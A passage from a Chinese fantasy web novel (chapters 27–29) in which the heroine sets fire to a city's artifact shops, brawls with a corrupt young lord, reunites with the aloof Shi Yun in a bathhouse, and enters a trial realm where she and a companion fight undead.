站在阴影中,韩韬看着面前的人眼睛微微弯起。 “不是吧……你不会……” 特制的火油一桶桶倾倒在地板上,哗啦啦流了一地。 韩韬瞪大眼睛,看着身边同他一样站在墙头的孟竹,她轻轻打了个响指,灵力像是被点燃的引线,瞬间引爆了一片火海。 嘭—— 剧烈的爆炸声一声接着一声,整条街道像被一条蜿蜒盘旋的火龙吞噬,火光映红了天空,迅速点燃了寂静的夜。 人声渐沸,耳鸣轰响。 有人站在高处的城楼上,看着天边被映红的那一片,黑漆漆的眼被火光照亮,又在看向高处的一瞬间暗了下来。 呆若木鸡的韩韬被人拽着,整个人飘在空中,又极速下坠。 因为速度太快,耳边刮过的风像是利刃一样,他的话也不成音调,只能对着孟竹的耳朵大喊—— “你胆子也太大了!被抓到怎么办?” “你在找死吗?” 孟竹在风中疾行,夜风将她的衣袍吹得猎猎作响。 她毫不在意地笑了笑,眼眸半弯着看向远方,“那就让他们来杀了我吧。” 伸手拨开眼前被吹乱的头发,孟竹逆着风向下。 韩韬看着她的眼睛,一瞬间心跳得很快。 整个人犹如失重般快速坠落。 片刻后,他们在无人的巷子里落了脚,孟竹摆了摆手,“走了。” 看着那逐渐离开的背影,韩韬忽然开口叫住了她:“你就这么走了?” “不然呢?”孟竹侧过脸,“你要去揭发我吗?” 她毫不在意地继续向前走,声音回荡在暗巷里。 “困了,回去吧。” 第27章 别来无恙 这一把火烧得太旺,让整座天启城都沸腾起来。 第二日,所有人都对这件事议论纷纷,天启城内的监察使连夜开始调查纵火之人。 试炼之境后日就要开启,现在城内的参选者中,明面上来看,还有将近半数的人没有试炼法器,现下城中所有的法器铺全部被烧毁,现行炼制显然来不及。 考核台于当日发布了一则通知,本次试炼,所有人的试炼法器将由考核台统一提供,除了考核台提供的物资,不允许参选者自行携带。 历届的仙洲遴选从未出现过如此一视同仁的规则。 这条规则掀起了轩然大波,讨论度甚至压过了昨日夜里的大火,有人欢喜有人愁。 靠着窗,孟竹正在客栈内吃饭,坐在她对面的吕一忽然道:“有人来了。” 吕一是个性子冷淡的姑娘,是孟竹在这个客栈认识的,她的话不多,也没有和人抱团,始终都是独来独往。 大概是看孟竹也和她一样,两个人经常在吃饭的时候碰到,见面也会点点头打个招呼,算是半个饭搭子。 孟竹顺着吕一的视线望向门口,客栈门口进来一群华冠丽服之人,将本就不大的客栈围了个水泄不通。 有人端来凳子,有人奉上茶水,为首那人坐了下来,手里捧着茶盏,慢悠悠看向孟竹。 “看来你心情不错,还能吃得下饭。” 领头这人孟竹认识,名叫凌宿,看起来应该是问仙居几个小团体中地位最高的一个,所有人都跟在他后面,应该就是韩韬昨夜所说的那个凌少爷。 孟竹又夹了菜,继续吃饭,眼皮都没抬一下。 静了静,旁边立刻有人接话:“公子在与你说话,你听不见吗?” 今天的排骨有点咸,孟竹又喝了点水,把碗里剩的饭吃完,才抬眼问他:“你在跟我说话吗?” 凌宿大概是从没见过这样的人,他抬手,身边的人立刻会意。 一杯滚烫的茶水被端了起来,眨眼间就要泼向孟竹。 下一秒,一阵巨力袭来,茶水在空中泼洒,冒着热气的茶盏转眼间砸向地面。 孟竹站起身,干净利落地一脚将人踹翻,飞出数米,客栈的墙壁一瞬间被砸了个人形的窟窿。 她手中端着没吃完的那份排骨,大步一跨迅速来到凌宿面前,在众人呆滞的视线中将盘子啪地一下扣在了凌宿的头上。 甜腻的、带着余热的粘稠汤汁顺着凌宿的下颌滴落。 他呆愣了片刻,才从愣怔的状态变为不可置信的愤怒,瞪着孟竹的视线如刀割一般:“你竟然敢!” 孟竹松开手,手上的盘子应声落下,裂成了一地的碎瓷片。 “初次见面,请你吃糖醋排骨。” 她笑了笑,说:“吃啊,不用客气。” 周围的声音一霎那变得很安静,只有几道明显的吸气声。 凌宿猛地起身,一道凌厉罡风劈来,孟竹反应极快,迅速下腰,一记重拳狠狠砸在凌宿的腹部。 他被击飞倒退数丈,只一招间,他便发现了,孟竹的修为在他之上。 可这怎么可能? 凌宿忍住喉口的腥甜,抬手制止了身边的人的搀扶,面色阴鸷地盯着孟竹,“昨夜,是你放的火。” 这种明显的陈述句,显然是已经查到了她身上,孟竹面不改色心不跳地撒谎:“没有证据的话可别乱说。” 她是故意的,凌宿想。 他的视线缓慢地上移,对上了孟竹平静的双眼,脑海中忽然想起昨晚发生大火时,他第一时间就收到了消息。 这里所有的监察使都是他的眼线,他们毫不费力地就确定了放火之人,她甚至没有隐蔽行踪,大摇大摆地离开。 在这个远离仙洲的边界之城,依靠父亲给的权利,他在这里几乎是说一不二的存在,没有人敢这样明目张胆地挑衅他,还将他苦心经营的一切毁于一旦。 她火烧商铺的目的无非就是想把事情闹大,引起玉都之人的重视,从而派人来调查,他垄_断交易一事也会因此而曝光。 愚蠢。 在这里,他们这等出身的人,反抗有什么用? 不依附他,只有任人宰割的命运。 想到此,凌宿倏地笑了起来,他擦着脸上的汤汁,声音甚至带了几分兴致盎然:“你是不是觉得自己厉害极了?” 凌宿一步步走近,他比孟竹高了半个头,微微俯身,在孟竹耳边,用只有两个人听得到的声音说:“无论你闹得再大,也永远不会有人插手这些事,想当这个出头鸟,也要掂量掂量自己到底有几斤几两。” 面对凌宿的指控,孟竹否认道:“你错了,我可没那么多弯弯绕绕的想法,谁管你们这些人的阴谋算计。” 她摊手,明摆着不承认:“再说了,这些跟我有什么关系?” “你——” 孟竹的余光看见他起身时,垂在身侧的一缕头发上挂了一丝汤汁,马上就要蹭到她身上—— 她下意识地伸手一推,凌宿一屁股又坐回椅子上,椅子向后猛的一滑,发出刺耳的摩擦声。 “你真是不爱干净,汤都弄我身上了。”说完这句话,她自己也愣了一下。 方才的一瞬间,不知道为何,想起了一个很久没见的人,真是被他的习惯都传染了。 一旁不知道何人憋不住笑了一声,众人早就看凌宿汤汁挂面似的头发憋不住了,有人开了头,就像泄了气的气球似的,笑声一声声往外冒。 凌宿哪里受过这等委屈,青红交加的脸色更加难看。 “是么?”孟竹站得离他远了些,又问他:“如果真像你说得那样,那你在气急败坏什么?” 如果丝毫没有影响,就绝对不会出现新的规则,这条规则明显利好的不是凌宿这一方。 他在虚张声势。 凌宿面色一僵,想起临走时得到的消息,脸色几经变换。 天启城内,有一股势力不动声色地渗入了内部,像是一只无形的手掌控着一切。 翻手为云,覆手为雨。 他想要从中探查到这股势力的来源,所有*的线索却都在一夜之间断掉。 只是无论如何,面前这个惹事的人太过惹人注目,绝对不能再留了。 凌宿使了个眼色,“抓住她。” 周围的人一瞬间围了过来,他们依附着凌宿,对凌宿唯命是从。 可也有反抗的声音一道道冒了出来。 “凭什么抓她?只许州官放火,不许百姓点灯吗?” “就是,谁不知道是你们在里面使绊子,公平吗?” “上啊,姑娘都不怕,咱们怂什么?” 场面一时间混乱极了,所有的人都主动或者被动地陷入了混战。 这些年轻人热血上头,认识的,不认识的,通通被抓过来凑热闹,客栈里乱成了一锅粥。 被这股反抗的力量点燃,多的是见不过问仙居这帮人盛气凌人做派的人,干脆掀桌子一起打了起来。 没想到凌宿光天化日就敢在客栈抓她,看着密密麻麻人海一样的人朝她扑过来,孟竹用力一掀撂翻几个。 韩韬不知道什么时候挤了过来,状况比她差多了,脸上也挨了几脚,他手护着头,对着孟竹喊:“跑跑跑啊!” 当然要跑。 孟竹用眼神对韩韬表达了感谢。 “你跑什么!”凌宿大喝一声,遥遥指着孟竹:“追啊废物们!” 有病。 不跑还等着你逮我么? 孟竹脚下的动作更快,身后跟着一群人对她喊打喊杀,她越跑越远,专门往人多的地方钻。 到后来,追着她跑的人越来越多,宛如一条长龙,孟竹回头一看,简直纳闷。 她犯天条了? 抬眼看了看不远处巍峨的门头,孟竹毫不犹豫地往里钻。 “禁止擅闯考核台——” 门口守卫的话还没说完,身后的人群像潮水一样涌上来,正是情绪上头的时候,哪里注意到这里是什么地方。 趁着守卫门忙着应付门口的人群时,孟竹猫着腰绕到一处偏僻的墙边,松了松筋骨,极为灵活地翻墙而入。 追着人过来的凌宿一抬手,制止了身后人的动作。 “这个蠢货,考核台的人正好在调查纵火案,这就送上门去了。”他盯着那个已经消失的背影,递给身边人一块令牌。 “随便找个由头处理掉。” 说罢,凌宿又补了一句:“要快。” “是。”- 考核台的内部很大,布局极为开阔,一眼望去,守卫众多。 孟竹选了一处无人的地方跳下去,沿着回廊躲避着守卫的巡查,她方才发现最东边有一处僻静的院落布置最为雅致,越靠近那处院落,守卫就越稀少,她毫不犹豫地沿着一处窄门躲进了院子。 庭院中草木葳蕤,是个很适合隐藏身形的地方,不知道这个院落的主人在考核台是什么身份,从她这一路观察来看,应该地位不低。 院落里的布置格外讲究,干净得让她感到有一丝诡异的熟悉。 孟竹放轻脚步,贴着墙壁,用余光观察着,墙后有一队守卫正好经过,低低的谈话声传进了她的耳朵。 “上面说有可疑的人进来了。” 似乎在忌惮着什么,守卫们的声音压得很低。 “尽快把人找出来,但是不能打扰了那位的清静,知道吗?” “这里大概看看就行了,去别的地方吧。” 孟竹松了口气,墙后的守卫似乎准备离开。 忽然脚边传来一阵毛茸茸的触感,孟竹低头。 “喵——” 一只野猫正坐在她脚边,似乎是饿了,正在冲她讨食。 墙后的脚步声一顿。 “喵——” 猫又叫了一声。 “怎么回事?” 守卫们的声音响起,脚步声越来越近。 孟竹迅速换了个地方,看了眼离自己最近的一面窗户,在守卫走进来之前,打开窗户翻了进去—— 水声翻腾,溅落。 “别动。” 浴池中热气升腾,隔着一片水雾,孟竹只看见那人背对着自己,宽肩窄腰,听到她的声音时似乎僵了一瞬。 孟竹没想到一跳进来竟然是个带浴池的房间,宽阔极了,她根本无处可藏。 她只能先发制人跳进了浴池,手臂处藏着的短刃迅速滑下来,抵着那人的喉咙。 窗外传来守卫的询问声,带着些小心翼翼的讨好:“公子……您那边有没有进来什么可疑的人?” 孟竹贴着那人的后背,手腕朝前捏住他的下颌,“不要回头。” 银色的薄刃轻轻割破白皙的皮肤,鲜血顺着脖颈滴落,浴池中点染出一朵朵血花。 孟竹贴近那人的耳廓,在他耳边轻声道:“别乱说话,否则……你知道下场。” 没有人应声,身前的人始终一言不发。 死寂一样的安静。 “公子?”门外的声音犹犹豫豫:“咱们要不要进去看看?” “检查一下总没错。”声音停了一下,“人好像不在,进去吧。” “说话。”孟竹反过手拍了拍他的脸。 他似乎轻哼了一声,孟竹想到他会大喊大叫,却没想到这人还是一声不吭。 门栓动了动,人声越来越近。 “公子,我等奉命捉拿可疑之人,打扰了。” 孟竹暗骂一声,掐住那人的脖子将人按在水里,那人似乎尤为气定神闲,就这样被按在水里依然一声不吭,甚至连挣扎都没有。 看着荡在水面上流墨似的乌发,她嗅到了丝丝熟悉的香气。 乌发一丝一缕,缠绕住孟竹的手指。 她面无表情地盯着。 嘴唇动了动,喉咙里溢出一声与她表情截然不同的夸张呻-吟。 那声音柔媚婉转,莺啼似的,带着刻意的喘息。 水下的身影猛地一僵。 门外的脚步声变得凌乱无序,逐渐远去了,还带着磕磕绊绊的道歉声:“对对对对不起,打扰公子了!” 孟竹拇指按住脖颈的地方轻轻摩挲了一下,手下的肌肉立刻变得更加僵硬。 下一秒,她将人从水里拎出来。 隔着深重的雾气,一张熟悉的脸若隐若现。 水珠顺着冷白的皮肤滑落,湿红的眼尾下,那双乌浓的长睫颤了颤,狭长的眼中如雾般朦胧。 这样风华绝代的容貌,只要见过一次,便再也不会忘记。 她听见自己的声音。 “施允,别来无恙。” 第28章 你欲求不满么? 对面的人薄唇一扯,一声不吭地盯着她。 湿发贴着俊美的侧脸,遮掩了大半的身躯。 久违的心跳声一下下跳动起来。 将微颤的手指藏入水中,孟竹松开钳制他的手,拉开距离,向后靠在浴池的边上,松了口气,道:“刚才为什么不说话?” 施允明明可以立马推开她的,却又这样一声不吭。 在戏耍她么? 隔着水雾,那双眼睛显得尤为模糊。 施允用指尖抹掉脖颈处还在渗血的血珠,唇边带着若有若无的笑:“闯进别人的领地里,还这么嚣张?” 孟竹看着他的动作,“你明知道,说一声我就会放开你的。” 湿热的水汽中带着淡淡的血腥味,白皙的脖颈上,刺目蜿蜒的红。 如玉的指节轻轻搭在颈侧,施允轻描淡写地看过来:“我有义务配合你吗?” 孟竹盯着那还未愈合的伤口,很细的一道,薄薄的皮肤下,隐隐可以看到青色的血管。 如果将手指按在上面,微微用力,血珠就会慢慢溢出来,像赤红的,灼目的玫瑰。 很漂亮。 这样带着血的施允,很漂亮。 孟竹为自己这想法呼吸停了一瞬。 太奇怪了。 但她莫名有些移不开眼。 “你在看什么?” 他的声音有些低哑,轻轻敲击着她的耳膜。 “在看你的伤口。” 这是她赋予他的。 她的指甲有些长了,轻轻用力,就能抠破那层薄薄的人皮,陷入红色的血肉中。 施允低低笑了一声,“这样啊……好看么?” 孟竹又闻到了那股熟悉的香味,让她有些头晕。 水面泛起涟漪,那双修长的手沿着脖颈往下,莹白的指尖带着红,停在微凸的锁骨上。 孟竹的视线顺着线条流畅的颈部往上,喉结、下颌,青色的血管在白得透明的肌肤下隐隐跳动。 她有些口干舌燥。 垂在身侧手指微微蜷起。 想看到他那双向来淡定的眼眸里泛起湿润的雾气。 想看他溃不成军,还想看他摇尾乞怜。 她想要看到这个人凌乱不堪的一面,想将他一同拉入黑暗的泥淖,卑劣的阴暗与兴奋。 这样奇怪的欲望。 来势汹汹,如海潮翻涌。 孟竹吸了口气,她可正是血气方刚的年纪。 不能想了。 施允这人…… 不过数月未见,怎么如此……如此…… 唉…… 手撑着身后光滑的台面出了浴池,孟竹浑身都湿透了。 “这里可不是好好说话的地方。”走到一旁的屏风后,孟竹将架子上的衣服丢给施允。 她用灵力将身上的衣服烘干。 隔着屏风,施允的声音含着淡淡地嘲弄:“我还以为你多大的胆子呢。” “原来也不过如此。” 孟竹靠着屏风背对着他,“怎么?你欲求不满么?” 施允的声音一顿,再开口时,显得更加嘲讽了:“我对你这种没心没肺的人可不感兴趣。” 耳边响起窸窸窣窣穿衣的声音,很快,施允便从屏风的另一头走出来。 白衣玉冠,墨发红唇,容色甚至比以往更甚一筹,正正经经的道袍穿在他身上,少了几分张扬,多了几分清冷。 仙洲的水土好像是很养人。 可孟竹觉得,施允应该属于另一种颜色。 他就该那样浓墨重彩的,永远发着光,像火一样燃烧着。 一前一后出了门,施允走在前面,孟竹跟在他身后,忽然开口:“你以前不怎么穿这种衣裳的。” 回廊中,附近的守卫不知道什么时候已经全部撤走了。 安静的风轻轻吹来,远处的野猫叫了一声。 施允的脚步似乎慢了一瞬,又接着向前走:“是么?那你觉得我应该穿怎样的衣裳?” “红色。”孟竹不假思索道。 他们之间隔着不远不近的距离。 面前修长的身形一顿。 施允猝不及防地停了下来,孟竹险些撞到他身上,又及时停住。 半步之遥。 施允垂眸,喊她的名字:“孟竹。” “嗯?” 孟竹微微后仰,将距离稍微拉开。 施允俯身,一张脸在孟竹眼前放大,似嘴角噙着一抹若有若无的笑:“我们是什么关系?嗯?” “你连我穿什么都想要管么?” 太近了,他的脖颈上还残留着她留下的指印。 淡淡的红,像缠绕的小蛇,倾吐着若即若离的气息。 孟竹缓慢地在脑海中思索了一下,给出了答案:“朋友。” “朋友?” 像是听到了什么好笑的话,他冷下脸嗤笑一声,“我们两个算哪门子的朋友?” “我听说朋友之间都会定期见面、相互问候。”他直起身,脸上的表情带着冷淡的嘲意:“我们是这种关系吗?” 孟竹皱了皱眉,觉得这话听起来怪怪的。 直到施允移开眼睛,脸色很差地蹦出一句:“没心没肺。” 这句话从方才到现在,提了两遍了。 孟竹摇头失笑:“施允,你在怪我没联系你吗?” 她有些莫名其妙,明明是施允自己说的没事别联系的。 施允不吭声了,又继续往前走。 推开门,孟竹跟着他进了房间,房间的风格同她以前见到的一样,华丽雅致,连地面都干净得发亮。 她的视线被红玛瑙串成的珠帘所吸引,玉石轻轻碰撞,当啷作响。 方才她来的时候就有种诡异的熟悉感,原来在这里的果然是施允。 说实话,数月未见,没有他在的日子里,她确实感到非常无聊。 施允往房间内的软榻上一靠,长腿随意搭着,“说说吧,来干嘛了?” 在房间内环视了一圈,孟竹在他对面落座,“杀人放火了。” 方才跑了一路,连水都没喝一口,何况中午吃的排骨还有点咸。 孟竹自顾自倒了杯茶:“大人,要逮捕我吗?” 若无其事的表情,若无其事的语气。 施允淡淡看着她:“我还需要逮捕你?你不是自己送上门了吗?” 孟竹不言,从她进入这里的这一刻,她就在不经意地走神。 施允的手指在桌面上轻轻敲了敲,“胆子这么大,是觉得这里没人能拿你怎么样吗?” “不是。”孟竹转着茶杯看向窗外。 不知不觉,又是一年春,嫩芽抽枝,万物复新。 有人离开,有人回来。 她撑着下巴,视线又转回来,“他们都有顾忌,我不一样。” “有何不同?” 孟竹垂下眼眸,没有回答。 片刻的沉默后,施允的声音再度响了起来:“你就没想过有人会为你托底么?” 孟竹的双手交叠,一只手心里藏着什么,指尖轻轻拨弄着,闻言,她抬眸看向施允:“你能吗?” 他的唇角扬起,是那种兴致盎然的笑,“若我说是呢?” “你要来攀附我么?” “当然。”孟竹道:“我最喜欢抱大腿了。” 可惜施允还没理解抱大腿是什么意思,孟竹便打开窗户跳了出去。 落地时带来一声闷响,孟竹站在窗外冲施允摆了摆手。 “喂,你去哪儿——” “我不能再待在这儿了。”她抬眼看了眼周围,确认此处的守卫已经空了。 施允皱眉,脱口而出:“为什么?” 话毕,他愣了一下,表情像是在思索什么。 好半天,才有些生硬地补充道:“我是说……这里很安全。” 孟竹定眼看他。 不管怎么说,从哪方面来讲,她都不能继续留在这里了。 她无声地摇了摇头。 孟竹动动胳膊,余光在找合适的位置离开。 最后看了施允一眼,她注意到施允脖颈上的那道伤痕已经消失了。 真可惜。 有一股莫名的冲动促使孟竹向前伸出手—— 温热的触感掠过耳畔。 施允浑身一僵,略显粗糙的指腹擦过他的耳垂。 很轻的一点刺痛。 孟竹一手撑着窗台,从窗外探进半个身子,注视着他耳垂上的一抹红。 手指克制地轻轻勾了勾施允的柔软的发尾,她的神情像是有些懵懂,又像是有些恍惚。 施允听到孟竹的声音,很轻地落在他的耳边—— “很适合你。” 等到他回过神来的时候,那道人影早就消失不见。 施允抬手碰了碰自己的耳垂,有些热。 心像被一只无形的手攥住,又紧绷又窒闷。 他无力抗拒,只能任由它肆意横行。 一粒小小的珠子随着他的动作滚落在桌子上。 弹跳、颤动,直到被一只手捻了起来。 一颗红玛瑙珠子。 窗外的风声渐停,一切又重新恢复了安静。 施允静静地盯着窗外看了一会儿,对着暗处招了招手,身后一道黑影便从暗中走出。 “凌氏安插的人都揪出来了么?” “已经全部查出来了。”暗卫微低着头,将手中的信封双手奉上:“这是所有人的身份信息。” “要怎么处置他们?” 施允淡淡扫了一眼上面的字,又收回视线,盯着桌对面那个已经空了的茶盏。 他喜欢看戏,更喜欢猎物死亡挣扎前最后的表演。 片刻后,施允的声音淡淡响起:“不处置。” “暗中盯着他们。” 暗卫的脸上带着几分疑惑,但他很快又恢复了面无表情的样子,恭敬道:“是。” 他的视线落在那个茶盏上,想起施允一直以来的习惯,道:“属下立刻将这套茶具处理掉。” 说着,他的手伸向桌面—— 咔哒,清脆的声音。 他的胳膊忽然从空中无力地垂落。 脱臼了。 “青忍。”他的名字从施允的口中喊出来,瞬间让青忍浑身一僵。 那些铭记于心的习惯使他立刻下跪,甚至没多看一眼自己那只脱臼的胳膊。 “属下知错。” 青忍额头上的冷汗滴落,他跟了施允这么久,能爬到现在这个位置,全凭他有眼色,知道什么时候该做什么。 今天是头一回,他在主子面前犯错。 施允头垂着,手指按在额心,没说话。 “属下不该擅自揣测公子的心思。”青忍跪着,一只手撑在地上磕了个头。 靠在软垫上,施允微垂着眼,唇角一扯:“怕成这样……” 他的声音很轻,落在青忍的耳朵里却犹如平地惊雷。 “我很讨人厌吗?” 青忍摇头,看了施允一眼,又迅速地低下头看着自己的脚尖。 讨人厌么? 怎么会用这样避重就轻的词呢? 是他看着眼前这个少年一步步成长起来,一步步成长为现在这个杀伐果决、阴晴不定的模样。 是从什么时候开始,连他也开始如此畏惧起施允了? 他成长地太快了,以至于青忍都快忘了,曾经的那些记忆里,施允究竟是什么样的人。 青忍没有回答,他的头更低了些,连呼吸都变得克制。 : 上位者,何曾会在意他人的想法? 寂静的室内,落针可闻。 施允两肘撑在膝上,十指交叉,俯身看着青忍,很轻地笑了笑。 “可是怎么办,我好像不想被她讨厌。” 半开的窗棂下,施允背着光,阳光照在他的身上,却并没觉得暖。 青忍甚至怀疑自己听错了,“……什么?” 你明明要风得风,要雨得雨。 你高高在上,不可一世。 可是为什么…… 后来的青忍再回想起这一日时,不知怎么,他时常想起施允那张…… 隐在阳光下的,半明半暗的。 落寞又孤独的脸。 第29章 拉偏架 翌日,天启城重新恢复往日的平静。 这一场由于纵火引起的闹剧,悄无声息地收了场。 一切都像是被无声无息地埋入了土里,盖棺尘封。 夜里孟竹将短刃攥在手里,提防着有可能回头来找麻烦的人,却没想到这一夜过得格外平静。 她在黑夜里睁着眼睛,看天光一寸寸亮起。 掌心的短刃划破手掌,孟竹面无表情地看着血一滴滴滑落。 握紧时,血流的速度会加快。 摊开时,能感受到温热的液体顺着指间滑落。 细密的疼痛牵扯着,让孟竹慢慢回神。 “好无聊。” 她摊开双手躺在床上,觉得一切都枯燥极了。 这个世界,眼前的一切都像是假象。 她得做些什么,才能让她找回真实的、活着的感觉。 “孟竹。” 叩门的声音响起,是韩韬的声音。 或许是有了那一晚的交情,韩韬对她这两日格外热情。 孟竹坐起身看了眼自己的手,伸手将伤口抹去,不露痕迹地起身开门。 站在门外,韩韬有些忐忑。 门开了,他看见孟竹一如往常的平淡表情。 “什么事?” 韩韬的手背在身后,笑道:“马上就要去参加试炼了,我是想说你愿不愿意和我们一起?” 他的表情很诚恳,有着一双清透明亮的眼睛。 像水一样透明。 孟竹没说话,只盯着他看。 韩韬的个子很高,和施允差不多,站在孟竹面前时,她只能仰望着他。 但当孟竹的视线直至看过来时,他却像个孩子似的低下了头,背在身后的手像是无处安放。 “这样危险的地方,互相帮助不是很正常的事吗?” 韩韬依然在说些什么,但孟竹明显有些心不在焉。 他的嘴唇一开一合,最后总结道—— “你一个姑娘,一个人实在太危险了。” 是啊,这样危险的地方。 被野兽吞吃? 或是被不知名的怪物开膛破肚? 孟竹扶着门框,慢吞吞笑了笑,说:“好啊。” “真的?” 得到孟竹肯定的答复,韩韬的眼睛猛地一亮。 关上门,孟竹随他一起走出客栈,之前同韩韬经常混在一起的几个人这次却没和他一起。 孟竹无意间问了一嘴,韩韬也不甚在意的样子,冲她抬抬下巴,她便看到那几人站在凌宿队列后的不远处。 倒戈得倒是很快。 在她看过去的时候,凌宿正好看了过来。 孟竹朝他微微一笑。 凌宿阴冷着一张脸将头转了回去,这两日他倒是很安分,没来找孟竹的茬,这倒是让她有些意外。 不过孟竹实在懒得去猜他的心思。 没走多远,便到了指定的集中地点,如同那日颁布的新规,所有人都分配了统一制式的武器和一人份的补给灵药。 同样的,在入口处有考核台的人进行检查,对随身的乾坤袋等进行封印,到孟竹进行检查时,她伸出手,露出上面戴着的乾坤戒,结印的考核官迟疑了一下,深深看了孟竹一眼。 孟竹的视线在考核官的队列中扫了一圈,没有看到那个熟悉的身影。 韩韬站在孟竹身侧,顺着她的视线看去,好奇道:“你还有认识的人吗?” 她收回视线,“没。” 试炼之境的入口是从天而降的一道巨大的光幕,将手贴在上面,很快,眼前的画面便发生变化。 通关试炼之境的条件并不算太难,七日内存活并猎杀魔物,按照数量进行排名,据之前公布过的规则来看,这场试炼之境内的魔物都是较为低阶的,是很标准的初修者的入门试炼。 眨眼间,眼前的光幕迸发出刺眼的白光,灼目的光晕过去以后,入眼是一片漆黑。 这里到处都充满了被火烧的焦臭味,脚下踩着的不像是土,黑色的,像是碳灰,四周都是巨石和灰土围起来的石壁,被巨石遮挡着,甚至分不清是黑夜还是白天。 因为到处都是黑的,适应了之后,能看到一点细微的光,辨别方向倒是不难。 “孟竹?” 声音在安静的空间内回响,听起来很空旷。 “嗯。”孟竹按住了在黑暗中摸索的一只手:“我在这。” 那只手被孟竹按着便不再动了,她把人松开,韩韬就站在离她一步之遥的身侧。 “还看不清吗?” “……嗯,有点。”韩韬的声音有些支支吾吾的,“要不我拉着你,当心摔倒。” 孟竹在黑暗中打了个响指,一点白光顺着她的指尖亮起,光越来越亮,照亮了周围的环境。 大概是因为回响,她的声音显得有些冷,“不必。” 韩韬摸了摸鼻子,“哈哈”笑了两声,道:“我可能是太紧张了,连这么简单的照明术都忘了。” 孟竹来到天启城之前,基本上摸清了一些门道。 像一些从小生活优渥的富家子弟,若是有灵根,会请在历事堂挂牌的修士进行培养,教一些基本的术法,若是再喂些天材地宝,进入炼气期、甚至筑基都不是没可能,只是这种情况极少。 当然,更多的是普通人家的孩子,这就更凭运气和实力了,有一些修士会主动找天赋好的孩子收为徒弟,待到仙洲遴选之时收入自己的门下。 凡界的灵气匮乏,若是不进入仙洲继续修炼,灵根会逐渐退化,直到变成一个普通人,是以,开了灵根以后,仅仅只是一个开始。 韩韬跟着孟竹在指尖引了一束光,和她并肩向前走,四周所见是一个巨大的洞穴,每走一步,身后都像是跟着一个人,脚步声在寂静的空间内不断回响。 “吱吱——” 因为安静,这两声听得格外清晰。 “有什么东西过来了。”韩韬手掌抬起,示意孟竹停下。 韩韬腰间悬着考核台统一发放的长剑,他一只手搭在剑上,手臂的肌肉绷起,蓄势待发。 确实如他所说,有什么东西越来越近,直到面前忽然一暗。 孟竹手移开,往后站了站。 随着一声微弱的嚎叫,温热的血在空中溅开,韩韬将手中的光往前送了送。 腥臭的味道扑面而来。 一只硕大的肥鼠被砍成两截,伤口处还在泊泊地冒着血。 唯一不同的,是它长着一双红色的眼睛。 攻击力不高,应该是附近的低等魔物。 “呼……”韩韬松了口气,下意识对着身后的人道:“别怕。” 身后的人没吭声,韩韬回过头去看孟竹的脸。 依然是那副寡淡的表情,眼皮耷着,看起来甚至有些无精打采。 “……你还好吗?” 绕过一地的血,孟竹继续朝前走:“往前再走走看吧。” 韩韬跟在她身后,看着那个清瘦高挑的背影,迟疑了一瞬,又快步跟上去。 一路上这个漆黑的洞穴里冒出来不少低等的魔物,都是如同方才的老鼠一样的物种,本来以为在这里会有什么更危险的存在,可直到他们沿着这条路走到头,出了洞穴,都没有什么特别的东西出现。 孟竹打了个哈欠,感觉走了很远很久的路,她都有些困了。 一路上,韩韬倒是杀老鼠杀得很开心,如果按照猎杀魔物的数量来看,他已经累计了不少成绩了。 出了那处洞穴,孟竹才发现他们其实是在一处山谷中,周围杂草丛生,方才那个洞穴只是这个地方的一个小山洞,周围还有不少像这样类似的地方。 天已经黑了,看样子他们在那个洞穴里呆了一天。 拨开周围的杂草,孟竹靠着附近的一颗树干坐了下来,掏出口袋里的干粮啃了一口。 “看来这个试炼之境也不过如此,咱们在这里待满七日就行了。”韩韬在孟竹对面坐了下来,语气很是轻松,“今天就算第一日了,还挺快。” 孟竹擦掉嘴角的碎屑,不置可否。 韩韬沉默了一会,忽然道:“你知道你很难亲近吗?” 她仰头喝了口水囊里的水,另一只手搭在食指上,轻轻摩挲了一下上面戴着的乾坤戒:“有么?” 韩韬静静地看着她,孟竹不避讳他的视线。 却也从未正视过他。 初见时,他便对孟竹这样的人感到好奇,冷冷淡淡的一张脸,站在人群之外。 所有人都有意无意地抱团取暖,不管是主动的还是被动的,只有孟竹远远站在那里,仿佛对什么都不感兴趣。 孟竹填饱了肚子,靠在树上阖上了眼,“我先睡一会,到时间换你。” 夜里的山谷很安静,偶尔有两声虫鸣。 不知道过了多久,韩韬才慢慢靠近,轻轻唤了一声孟竹的名字。 “睡着了吗?” 等了一会儿,韩韬蹲在孟竹面前,他慢慢伸出手—— 手指即将碰到孟竹脸颊的瞬间,韩韬的手腕被猛地攥住。 那双眼倏然睁开。 “干什么?” 她的声音有些低,带着初醒时特有的哑。 孟竹松开韩韬的手,看了眼天色,“抱歉,是不是该换你休息了?” 韩韬的手在空中顿了一下,最终落在孟竹的肩膀上,轻轻拍了一下。 “嗯,起来吧。” “对了。”韩韬看着孟竹站起身,“方才我在外面转了一圈,发现有一个同伴受伤了,我便把他带了回来。” 他指着不远处靠在树干上的人,头低垂着,没有光,看不清脸。 越靠近,便能闻到越来越浓烈的血腥味。 孟竹的脚步忽然放得很轻。 那人似乎听见了这微弱的动静,慢慢转过脸来。 孟竹的呼吸一滞。 这……还是人吗? 灰白的脸上已经开始溃烂,毫无焦点的一双眼。 “嗬……嗬……” 嘴唇翕动,露出一双长长的獠牙,他歪歪扭扭地站起身—— 袖中的短刃迅速滑下,在那人扑过来的一瞬间扎进了他的胸膛。 这一刀下去,非但没有让他的动作停下,反而让他像是受了刺激一样,浑身抽搐起来。 “孟竹!”韩韬朝她大喊一声:“快退后!” 那人在地上匍匐了两下,竟然抬起一张溃烂的脸,口中不断滴落着泛白的唾液。 韩韬侧身,手指搭上腰间的长剑,在那人再一次扑过来时,一剑斩下了他的头颅。 干脆利落,剑法流畅漂亮,快得孟竹几乎没看清他的出手动作。 “是活尸。”韩韬松了口气,蹲下身检查。 确认地上的人已经不会再动以后,韩韬带着些歉意对孟竹道:“我真的大意了,没想到这里竟然会有活尸,应该是刚刚死去不久尸变的。” “这里太危险了,活尸出现都是成群结队的,我方才观察了周围的地形,越往西地势越平坦,说不定能找到一些同伴。” “你的剑法不错。”孟竹称赞道。 韩韬一怔,脸上带了点红,“……也没有,雕虫小技罢了。” 他微垂着眼睫,像是十分不好意思似的:“不嫌弃的话,以后可以教你。” 孟竹看了他一眼,轻轻嗯了一声。 这样的活尸在接下来的两日里也见到了不不少,只要砍下活尸的头颅,便能使其完全失去行动能力。 活尸的出现在这里并不算罕见,每往前行走一段路,就会出现或是成群的或是落单的几只活尸。 不过这些活尸并不算太危险,动作也不算敏捷,两个人一起,倒也应付得过去。 直到第三日。 